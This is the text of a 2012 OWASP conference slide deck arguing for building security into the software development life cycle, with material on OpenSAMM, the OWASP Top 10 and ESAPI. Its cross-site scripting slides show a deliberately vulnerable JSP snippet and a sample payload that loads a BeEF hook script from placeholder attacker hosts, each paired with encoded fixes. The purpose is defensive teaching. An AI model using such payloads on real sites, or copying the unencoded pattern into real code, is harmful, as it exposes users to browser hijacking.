Most of the money thrown at securing information systems misses the weak spots. Huge amounts are spent securing infrastructure while web applications are left exposed. It is a crisis that is largely ignored. Software development teams, under pressure to deliver features and meet deadlines, often respond to concerns about the security of their web applications by commissioning a last-minute security assessment and then desperately attempt to address only the most glaring findings. They may even simply throw up a web application firewall to mitigate the threats. Such bolted-on solutions are not long-term answers to web application security. Instead, we advocate a built-in approach. We will show that by weaving security into the software development life cycle, and using mature resources for security coding standards, toolkits and frameworks such as those from OWASP, development teams can consistently produce secure systems without dramatically increasing the development effort or cost. This slide deck was most recently presented at a SPIN meeting in Cape Town In September 2012 by Paul and Theo from ThinkSmart (www.thinksmart.co.za). For more information, contact Paul at ThinkSmart (dot see oh dot zed ay).

1. OWASP
Built in, not bolted on: web
application security done right
Paul van Woudenberg
& Theo van Niekerk
ThinkSmart

2. ThinkSmart
• Paul van Woudenberg & Theo van Niekerk
• Web application development background
• Strong security focus
– clients have demanded it (financial institutions, etc)
– we have a passion for security
• Today we’re exclusively focussed on helping our clients with
application security assurance
• We promote OWASP where we can
www.thinksmart.co.za

3. OWASP
• The Open Web Application Security Project
• Worldwide free and open community
• Focused on improving the security of application software
• Over 70 OWASP Local Chapters world-wide
• Tools and documents:
– detect and guard against security-related design and
implementation flaws
– add security-related activities to your SDLC
• www.owasp.org

4. Information Security Risk Today
• The network / infrastructure security problem is largely
solved
– mature
– standardised
– well understood
• Business is moving ever increasingly to the Web
– efficiencies, market reach
– Web 2.0
– SaaS
– mobile
• Attackers have moved on to exploiting software
vulnerabilities in web applications.
– they follow the money
– attacks tools have become industrialised

5. Evidence of Attacks
• Reports vary, but most recent ones agree that more than
80% of attacks perpetrated today are against web
applications.
• 7Safe (UK Security Breach Investigations Report)
– “in 86% of all attacks, a weakness in a web interface was
exploited”
• Privacy Rights Clearinghouse
– “In 2009, 93% of all data breaches ... concerned compromised
databases or applications.”

6. Verizon DBIR 2010
• Latest Verizon Data Breach Investigations Report (for 2010):
– Who is behind data breaches? - 92% stemmed from external agents
– How do breaches occur? - 50% utilised some form of hacking
– What commonalities exist? - 96% of attacks were not highly difficult
• Where should mitigation efforts be focused?
– Eliminate unnecessary data; keep tabs on what’s left
– Ensure essential controls are met
– Check the above again
– Assess remote access services
– Test and review web applications
– Audit user accounts and monitor privileged activity
– Monitor and mine event logs
– Examine ATMs and other payment card input devices for tampering

7. How prevalent are attacks?
• July 2012 study: more than 50% of responding companies
experienced at least one app sec breach in previous 18
month period
• For many, loss > $500k per incident
• Key findings:
– Application security incidents are common and have severe
consequences.
– Many organisations still struggle with the most basic security flaws.
– Most organisations do not have a holistic or strategic approach to
application security.
– Application development and security teams and goals are often not
aligned for optimised results.

8. Some scary graphs...

9. Other App Sec Drivers
• Good civic hygiene (a la Phil Zimmermann, PGP & Zfone)
– PZ on why we need to encrypt VOIP: “Phone calls are moving from
the well-manicured neighbourhood of the PSTN to the urban blight
of the Internet. We must encrypt VOIP - it’s part of good civic
hygiene.”
– Similarly, business processes are moving from the well-manicured
neighbourhood of the front office to web apps located in the urban
blight of the Internet. Properly securing web apps is part of good
civic hygiene.
• Compliance (e.g. PCI DSS)
• New Companies Act
• PPI Bill
• Basel II
• King III

10. NetSec is Still the Darling
• InfoSec spending is missing the target (yesterday’s war).
• White Hat / Imperva survey (April 2010)
– “only 18% of IT security budgets were allocated to address the
threat posed by insecure Web applications”
• But, as we’ve seen, the majority of attacks today are
against software applications.
• Why are organisations still spending majority
of InfoSec budget on network / infrastructure?
– Force of habit / budget inertia
Application
– “Best practise” Presentation
– Compliance Session
– OSI stack-approach to security (hence WAFs) Transport
Network
– Software security is perceived to be hard
Data Link
Physical

11. Think Different
• Software security can no longer be ignored
• But it is a different problem to net / inf sec.
– Lego vs Clay
• Firewalls still need to allow access to :80 or :443.
• Software is like clay - has many degrees of freedom
– great for creating all sorts of desired features
– but often the process of building software systems results in all sorts
of undesired features, including security vulnerabilities

12. Expectation vs Reality
• So clearly, developers need
to write more secure code BY THE WAY, YOUR CODE
• But why would they do this if IS SECURE, ISN’T IT?
they are measured only on
how fast they deliver business
features?
• Developers don’t attend security
conferences - they’re back at the
office churning out features
• Your software developers are your most important
security resource!

13. Rugged Software Manifesto
• ruggedsoftware.org

14. Security Training

15. Security in the spec
• Security is about incentives (Ross Anderson)
• Developers need to be measured on the security of their
code
• To do this fairly, it cannot be done in an ad-hoc fashion -
developers need to fulfil security requirements just like they
do feature requirements
• Security requirements must be part of the spec of each
system
• Build security in – start by creating explicit security
requirements in your specifications

16. The Quality Lever
Source: Borland
• Applies equally to security

17. Security Requirements
• Take measures to avoid security bugs
– OWASP Top-10 & Dev Guide
– Frameworks
– Tools
• Take measures to reduce security design flaws
– In the requirements process:
• business analysis produces feature requirements
• do risk analysis on business requirements to drive out security
requirements - if the BA is not a security expert, get your ISO or an
expert consultant to help.

18. Security in the Design
• Security feature design is important and hard to get right.

19. What’s the password?

20. Drivers for Security Requirements
• Business needs
– functional needs of the business processes implemented in the app
(e.g. data access permissions, forgot password process)
• Risk analysis
– threat modelling, vulnerability analysis, abuse cases
– attack trees, STRIDE, DREAD
– involve the business owners to discover severity of each type of loss
– involve your ISO
• Regulatory demands
– PPI
– SAS 70
– ECT Act
– FIPS (crypto)

21. Secure SDLC
• Weave a thread of security through each phase of your
SDLC:
– Requirements
– Design
– Construction
– Testing
– Deployment
– Operations
– Decommissioning
• Security touches all aspects of an SDLC and must be
reasonably spread over the process.

22. Security Activities in SDLC
• Typical security activities in a Secure SDLC include:
– Source Code Protection
– Fuzzing
– Threat Modelling
– Security Requirements Template
– Static Analysis
– Dynamic Analysis
– Security Enriched Code Libraries
– Automated Penetration Testing
– Training
– Security Code Review
– Manual Penetration Test
– Final Security Review/Audit

23. Software Assurance Program
• OpenSAMM
(Software Assurance Maturity Model)
• An OWASP Project
• Drivers for a maturity model:
– An organisation’s behaviour changes
slowly over time OWASP
• Changes must be iterative while working
toward long-term goals
– There is no single recipe that works for all organisations
• A solution must enable risk-based choices tailor to the organisation
– Guidance related to security activities must be prescriptive
• A solution must provide enough details for non-security-people
– Overall, must be simple, well-defined, and measurable

24. SAMM Business Functions
• Start with the core activities
tied to any organisation !"#$%&'&($
performing software
development.
!"#$%&'(%)"#
• Named generically, but
should resonate with any
developer or manager. !"#$%&'($)*
!"#$%&'"()

25. SAMM Security Practices
• From each of the Business Functions, 3 Security Practices
are defined.
• The Security Practices cover all areas relevant to software
security assurance.
• Each one is a ‘silo’ for improvement.

26. Under each Security Practice
• Three successive Objectives under each Practice define
how it can be improved over time.
– This establishes a notion of a Level at which an organisation fulfils a
given Practice.
• The three Levels for a Practice generally correspond to:
– (0: Implicit starting point with the Practice unfulfilled)
– 1: Initial understanding and ad hoc provision of the Practice
– 2: Increase efficiency and/or effectiveness of the Practice
– 3: Comprehensive mastery of the Practice at scale

27. SAMM Roadmap
• To make the “building blocks”
usable, SAMM defines
Roadmaps templates for typical
kinds of organisations:
– Independent Software Vendors
– Online Service Providers
– Financial Services Organisations
– Government Organisations

28. SAMM Re-cap
• Evaluate an organisation's existing software security
practices.
• Build a balanced software security assurance program in
well-defined iterations.
• Demonstrate concrete improvements to a security
assurance program.
• Define and measure security-related activities throughout
an organisation.

29. Institutionalise App Sec
• Your ISMS demands it - e.g. ISO 27001/2:
– 10.9: Electronic commerce services
– 11.6: Application and information access control
– 12: Information systems acquisition, development and maintenance
• Create a software assurance programme to address these
– OpenSAMM, BSI-MM, Microsoft SDL
• Weave a thread of security through your SDLC.
• At very least, put security requirements in your specs &
give your development teams the three T’s :)
– Training (consultants can help)
– Tools (lots of excellent free tools available)
– Time (to get to grips with their role in security - most devs not
exposed - flaw in dev education at uni, tech etc.)

30. App Sec in Context

31. App Sec in Context
Secure
Coding
Dev Guide

32. App Sec in Context
Secure SDLC
Secure
Coding
Dev Guide
Agile (Scrum)

33. App Sec in Context
Software Assurance
Programme
Secure SDLC
Secure
Coding
Dev Guide
Agile (Scrum)
OpenSAMM

34. App Sec in Context
ISMS
Software Assurance
Programme
Secure SDLC
Secure
Coding
Dev Guide
Agile (Scrum)
OpenSAMM
ISO 27001

35. How do I start?
• Medium to long-term
– establish a formal software assurance programme (e.g.
OpenSAMM).
• Today
– put security requirements in your specs
– start with generic risk-based requirements, e.g. OWASP Top-10
– find/appoint a champion (with authority) who will oversee this

36. Software Development
• Software Development Life-Cycle

37. Software Development
• Software Development Life-Cycle
– Coding
– Deployment

38. Software Development
• Software Development Life-Cycle
– Coding
– Deployment
– Maintenance
– Disposal

39. Software Development
• Software Development Life-Cycle
– Design
– Coding
– Deployment
– Maintenance
– Disposal

40. Software Development
• Software Development Life-Cycle
– Design
– Coding
– Testing
– Deployment
– Maintenance
– Disposal

41. Software Development
• Software Development Life-Cycle
– Requirements
– Design
– Coding
– Testing
– Deployment
– Maintenance
– Disposal

42. Software Development
• Software Development Life-Cycle
– Requirements
– Design
– Coding
– Testing
Key to
– Deployment success
– Maintenance
– Disposal

43. Software Development
Secure
• Software Development Life-Cycle
– Requirements
– Design
– Coding
– Testing
Key to
– Deployment success
– Maintenance
– Disposal

44. Secure SDLC
• Secure Software Development Life-Cycle
– Secure Requirements
– Secure Design
– Secure Coding
– Secure Testing
– Secure Deployment
– Secure Maintenance
– Secure Disposal

45. Secure SDLC
• Secure Software Development Life-Cycle
– Secure Requirements
– Secure Design
– Secure Coding
– Secure Testing K ey to
– Secure Deployment
Se cu r i ty
– Secure Maintenance
– Secure Disposal

46. Security Requirements
• Change your organisation
– Executive buy-in
– Implement S-SDLC
• Steps to develop Requirements
– Engage with Client / Business Partner
– Identify Policies and Standards
– Identify Regulatory, Compliance, and
Privacy Requirements
– Develop CIA Objectives
– Develop Procurement Requirements
– Perform Risk Assessment

47. Security Requirements
• Change your organisation What’s the
– Executive buy-in
– Implement S-SDLC problem?
• Steps to develop Requirements
– Engage with Client / Business Partner
– Identify Policies and Standards
– Identify Regulatory, Compliance, and
Privacy Requirements
– Develop CIA Objectives
– Develop Procurement Requirements
– Perform Risk Assessment

48. Security Requirements
• Change your organisation What’s the
– Executive buy-in
– Implement S-SDLC problem?
• Steps to develop Requirements
– Engage with Client / Business Partner
– Identify Policies and Standards
– Identify Regulatory, Compliance, and
Privacy Requirements
– Develop CIA Objectives
– Develop Procurement Requirements
– Perform Risk Assessment

49. Security Requirements
• Change your organisation What’s the
– Executive buy-in
– Implement S-SDLC problem?
• Steps to develop Requirements
– Engage with Client / Business Partner
– Identify Policies and Standards
– Identify Regulatory, Compliance, and
Privacy Requirements
– Develop CIA Objectives
– Develop Procurement Requirements
– Perform Risk Assessment

50. What now?
• There is hope :)
• All that you need is available
– Information
– Tools
– Techniques
– Training
– Plan
• You can make a big difference

51. OWASP Top 10
OWASP
Open Web Application Security Project
• OWASP has tools and resources to help
• Get the Top 10
– http://www.owasp.org/index.php/Top_10

52. OWASP Top 10
OWASP
Open Web Application Security Project
Next
• OWASP has tools and resources to help
Step
• Get the Top 10
– http://www.owasp.org/index.php/Top_10

53. Top 10 - Fix these

54. Top 10 - Fix these
Start by
doing
these!

55. Top 10 - Fix these
Start by
doing
these!

56. Top 10 - XSS

57. Top 10 - XSS
Read
t h is

58. Top 10 - XSS
Read
t h is Get the
C heat
Sheet

59. XSS Cheat Sheet
• Implement the XSS Prevention Rules
– Never Insert Untrusted Data Except in Allowed Locations
– Encode before Inserting Untrusted Data into
• HTML Element Content
• HTML Common Attributes
• JavaScript Data Values
• Style Property Values
• URL Parameter Values
– Validate/Clean User-driven HTML
– Prevent DOM-based XSS
39

60. XSS Cheat Sheet
• Implement the XSS Prevention Rules
– Never Insert Untrusted Data Except in Allowed Locations
– Encode before Inserting Untrusted Data into
• HTML Element Content
• HTML Common Attributes
• JavaScript Data Values
• Style Property Values
• URL Parameter Values
– Validate/Clean User-driven HTML
– Prevent DOM-based XSS
39

61. Escaping JS Data
• JavaScript Encode Before Inserting Untrusted Data into
HTML JavaScript Data Values
– inside quoted string
<script>alert('ENCODE UNTRUSTED DATA')</script>
– one side of quoted expression
<script>x='ENCODE UNTRUSTED DATA'</script>
– inside quoted event handler
<div onmouseover="x='ENCODE UNTRUSTED DATA'"></div>
40

62. Unsafe Code
• JSP Source
<% /**
name gets set to:
Jim');"><script src=http://evil.com/beef/hook/
beefmagic.js.php></script><"'
**/
String name = request.getParameter("name");
%>
<body onload="alert('Hello <%=name%>');">
• Generated HTML
<body onload="alert('Hello Jim');"><script src=http://
attackersite/beef/hook/beefmagic.js.php></script><"'');">
41

63. Unsafe Code u
ntru
sted
• JSP Source d ata
<% /**
name gets set to:
Jim');"><script src=http://evil.com/beef/hook/
beefmagic.js.php></script><"'
**/
String name = request.getParameter("name");
%>
<body onload="alert('Hello <%=name%>');">
• Generated HTML
<body onload="alert('Hello Jim');"><script src=http://
attackersite/beef/hook/beefmagic.js.php></script><"'');">
41

64. Unsafe Code u
ntru
sted
• JSP Source d ata
<% /**
name gets set to:
Jim');"><script src=http://evil.com/beef/hook/
beefmagic.js.php></script><"'
**/
String name = request.getParameter("name"); no
enco d ing!
%>
<body onload="alert('Hello <%=name%>');">
• Generated HTML
<body onload="alert('Hello Jim');"><script src=http://
attackersite/beef/hook/beefmagic.js.php></script><"'');">
41

65. Unsafe Code u
ntru
sted
• JSP Source d ata
<% /**
name gets set to:
Jim');"><script src=http://evil.com/beef/hook/
beefmagic.js.php></script><"'
**/
String name = request.getParameter("name"); no
enco d ing!
%>
<body onload="alert('Hello <%=name%>');">
XSS
• Generated HTML
inje ction
<body onload="alert('Hello Jim');"><script src=http://
attackersite/beef/hook/beefmagic.js.php></script><"'');">
41

66. Security Control
• What should the Control do?
– Encode unsafe data
– Prevent switching out of the data value context
• into the script context
• into or into another attribute.
• How?
– Allow Alphanumeric characters
– Encode chars < 256 using the xHH format
– Encode chars >= 256 using the uHHHH format
– Don’t use shortcuts like " t n
– HTML parser runs before JS parser, e.g. </script> inside quotes
42

67. Selecting a Control
• Think carefully before rolling your own
– May introduce new vulnerabilities
– May not work correctly
– Don’t reinvent the wheel
• Your Framework is your friend
– Tapestry/Spring/Cake/Symfony
– But verify the implementation first!
• Microsoft SDL
– http://antixss.codeplex.com
• OWASP Enterprise Security API
– ESAPI
– Java and PHP
43

68. OWASP’s ESAPI
• Enterprise Security API
– by OWASP
• Set of foundational security controls
• Integrated with each other
• BSD license
• Major security firm did line-by-line code review
• Get there faster and cheaper
• Includes Intrusion Detection Framework
– Wire this do the inner workings of your app
– Security Logs
– WAF with custom rules
44

69. Safe Code (with ESAPI)
• JSP Source
<% /**
name gets set to:
Jim');"><script src=http://attackersite/beef/hook/
beefmagic.js.php></script><"'
**/
String name = request.getParameter("name");
String safe = ESAPI.encoder().encodeForJavaScript(name);
%>
<body onload="alert('Hello <%=safe%>');">
• Produced HTML
<body onload="alert('Hello Jimx27x29x3Bx22x3Ex3Cscript
x20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhook
x2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27');">
45

70. Safe Code (with ESAPI)
• JSP Source
<% /**
name gets set to:
Jim');"><script src=http://attackersite/beef/hook/
beefmagic.js.php></script><"'
**/
String name = request.getParameter("name");
String safe = ESAPI.encoder().encodeForJavaScript(name);
%>
<body onload="alert('Hello <%=safe%>');">
• Produced HTML
<body onload="alert('Hello Jimx27x29x3Bx22x3Ex3Cscript
x20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhook
x2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27');">
45

71. Safe Code (with ESAPI)
untrus te d
• JSP Source
data
<% /**
name gets set to:
Jim');"><script src=http://attackersite/beef/hook/
beefmagic.js.php></script><"'
**/
String name = request.getParameter("name");
String safe = ESAPI.encoder().encodeForJavaScript(name);
%>
<body onload="alert('Hello <%=safe%>');">
• Produced HTML
<body onload="alert('Hello Jimx27x29x3Bx22x3Ex3Cscript
x20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhook
x2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27');">
45

72. Safe Code (with ESAPI)
untrus te d
• JSP Source
data
<% /**
name gets set to:
Jim');"><script src=http://attackersite/beef/hook/
proper enco d ing
beefmagic.js.php></script><"'
**/
String name = request.getParameter("name");
String safe = ESAPI.encoder().encodeForJavaScript(name);
%>
<body onload="alert('Hello <%=safe%>');">
• Produced HTML
<body onload="alert('Hello Jimx27x29x3Bx22x3Ex3Cscript
x20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhook
x2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27');">
45

73. Safe Code (with ESAPI)
untrus te d
• JSP Source
data
<% /**
name gets set to:
Jim');"><script src=http://attackersite/beef/hook/
proper enco d ing
beefmagic.js.php></script><"'
**/
String name = request.getParameter("name");
String safe = ESAPI.encoder().encodeForJavaScript(name);
%>
safe
<body onload="alert('Hello <%=safe%>');">
• Produced HTML
rend ering
<body onload="alert('Hello Jimx27x29x3Bx22x3Ex3Cscript
x20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhook
x2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27');">
45

74. Safe Code (with ESAPI)
• JSP Source
<% /**
name gets set to:
Jim');"><script src=http://attackersite/beef/hook/
beefmagic.js.php></script><"'
**/
String name = request.getParameter("name");
String safe = ESAPI.encoder().encodeForJavaScript(name);
%>
<body onload="alert('Hello <%=safe%>');">
• Produced HTML
<body onload="alert('Hello Jimx27x29x3Bx22x3Ex3Cscript
x20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhook
x2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27');">
45

75. More ESAPI
• JSP Source where’s the input
<% /**
name gets setto:
vali dation?
Jim');"><script src=http://attackersite/beef/hook/
beefmagic.js.php></script><"'
**/
String name = request.getParameter("name");
String safe = ESAPI.encoder().encodeForJavaScript(name);
%>
<body onload="alert('Hello <%=safe%>');">
• Produced HTML
<body onload="alert('Hello Jimx27x29x3Bx22x3Ex3Cscript
x20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhook
x2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27');">
46

76. More ESAPI
where’s the input
vali dation?
String name = request.getParameter("name");
String safe = ESAPI.encoder().encodeForJavaScript(name);
46

77. More ESAPI
String name = request.getParameter("name");
String safe = ESAPI.encoder().encodeForJavaScript(name);
46

78. Input Validation
Validator validator = ESAPI.validator();
try {
String name = validator.getValidInput(context,
request.getParameter("name"),
CLIENT_RE,16,false);
String safe = ESAPI.encoder().encodeForJavaScript(name);
//normal workflow
} catch (ValidationException x) {
// report input failure to user
}
47

79. Input Validation
Validator validator = ESAPI.validator(); vali d
try { ate
String name = validator.getValidInput(context,
request.getParameter("name"),
input
CLIENT_RE,16,false);
String safe = ESAPI.encoder().encodeForJavaScript(name);
//normal workflow
} catch (ValidationException x) {
// report input failure to user
}
47

80. Input Validation
Validator validator = ESAPI.validator(); vali d
try { ate
String name = validator.getValidInput(context,
request.getParameter("name"),
input
CLIENT_RE,16,false);
String safe = ESAPI.encoder().encodeForJavaScript(name);
//normal workflow
} catch (ValidationException x) {
// report input failure to user
}
47

81. Input Validation
Validator validator = ESAPI.validator(); vali d
try { ate
String name = validator.getValidInput(context,
request.getParameter("name"),
input
CLIENT_RE,16,false);
String safe = ESAPI.encoder().encodeForJavaScript(name);
//normal workflow
} catch (ValidationException x) {
// report input failure to user
}
47

82. Input Validation
Validator validator = ESAPI.validator(); vali d
try { ate
String name = validator.getValidInput(context,
request.getParameter("name"),
input
CLIENT_RE,16,false);
String safe = ESAPI.encoder().encodeForJavaScript(name);
//normal workflow
} catch (ValidationException x) {
// report input failure to user
} ESAPI:
does security logg ing
wakes up Intrusion Detection
47

83. Top 10 - Done
Start by
doing
these!
48

84. Top 10 - Done
48

85. Top 10 - Done
ESAPI Encoder API
48

86. Top 10 - Done
ESAPI Encoder, Validator APIs
ESAPI Encoder API
ESAPI Authenticator, User APIs
ESAPI Access Ref Map, Access Ctrl APIs
ESAPI HTTPUtils
ESAPI Encryptor API
ESAPI Access Control API
ESAPI Security Wrapper Response
48

87. Top 10 - Done
ESAPI Encoder, Validator APIs
ESAPI Encoder API
ESAPI Authenticator, User APIs
ESAPI Access Ref Map, Access Ctrl APIs
ESAPI HTTPUtils
ESAPI Encryptor API
ESAPI Access Control API
ESAPI Security Wrapper Response
48

88. So what about risk #11?
• You’re not done yet - the Top-10 is just the beginning
• OWASP Top-10 - document references & additional risks
references.
• OWASP Development Guide
– http://www.owasp.org/index.php/Category:OWASP_Guide_Project
– 2005 version
– Surprisingly still very valid
– 2010 version under development
• CWE / SANS Top 25
– http://cwe.mitre.org/top25/index.html
• WASC
– http://projects.webappsec.org/Threat-Classification
– http://projects.webappsec.org/Threat-Classification-Taxonomy-Cross-Reference-View

89. OWASP
Thank You!
Questions?
www.owasp.org www.thinksmart.co.za